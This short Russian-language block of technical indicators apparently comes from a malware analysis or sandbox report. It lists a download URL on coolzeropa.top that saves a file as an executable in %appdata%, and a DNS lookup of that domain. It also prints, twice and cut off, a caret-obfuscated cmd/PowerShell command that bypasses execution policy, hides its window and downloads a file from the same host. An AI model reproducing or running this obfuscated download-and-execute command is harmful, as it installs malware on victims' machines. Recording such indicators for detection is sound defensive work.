Техническая информация
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PoWe^rS^he^lL^.^ex^e -^E^XeC^uTI^O^Np^oL^I^CY B^ypAsS -^NO^Pr^Ofi^l^E -^wI^ndo^wst^yLe ^H^ID^deN (neW-ob^JEct ^sysTEM^.nEt.^Webcl^i^eNT)^.D^o^wNLO^A^DfILe^('http://coolzeropa.top/adm...
- DNS ASK co###eropa.top
- '<SYSTEM32>\cmd.exe' /c "PoWe^rS^he^lL^.^ex^e -^E^XeC^uTI^O^Np^oL^I^CY B^ypAsS -^NO^Pr^Ofi^l^E -^wI^ndo^wst^yLe ^H^ID^deN (neW-ob^JEct ^sysTEM^.nEt.^Webcl^i^eNT)^.D^o^wNLO^A^DfILe^('http://coolzeropa.top/adm...' (со скрытым окном)